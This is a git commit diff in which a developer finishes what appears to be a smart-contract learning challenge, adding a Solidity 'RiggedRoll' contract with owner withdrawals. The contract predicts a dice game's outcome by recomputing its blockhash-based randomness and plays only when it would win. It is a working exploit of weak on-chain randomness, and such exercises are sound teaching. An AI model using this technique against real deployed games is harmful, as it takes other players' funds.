feat: finish challenge
Some checks failed
Lint / ci (lts/*, ubuntu-latest) (push) Has been cancelled

This commit is contained in:
han
2026-01-21 20:39:51 +07:00
parent 2acc4d2eae
commit b241a84555
12 changed files with 1175 additions and 19 deletions

View File

@@ -11,6 +11,9 @@ contract RiggedRoll is Ownable {
/////////////////
// Errors go here...
error NotEnoughETH(uint256 required, uint256 available);
error NotWinningRoll(uint256 roll);
error InsufficientBalance(uint256 requested, uint256 available);
//////////////////////
/// State Variables //
@@ -31,4 +34,29 @@ contract RiggedRoll is Ownable {
///////////////////
// Functions go here...
function riggedRoll() public {
uint256 required = 0.002 ether;
uint256 balance = address(this).balance;
if (balance < required) revert NotEnoughETH(required, balance);
// calculate
bytes32 prevHash = blockhash(block.number - 1);
bytes32 hash = keccak256(abi.encodePacked(prevHash, address(diceGame), diceGame.nonce()));
uint256 roll = uint256(hash) % 16;
if (roll > 5) revert NotWinningRoll(roll);
diceGame.rollTheDice{value: required}();
}
function withdraw(address _addr, uint256 _amount) public onlyOwner {
uint256 balance = address(this).balance;
if (balance < _amount) revert InsufficientBalance(_amount, balance);
(bool sent,) = payable(_addr).call{value: _amount}("");
require(sent, "failed to transfer");
}
receive() external payable {}
}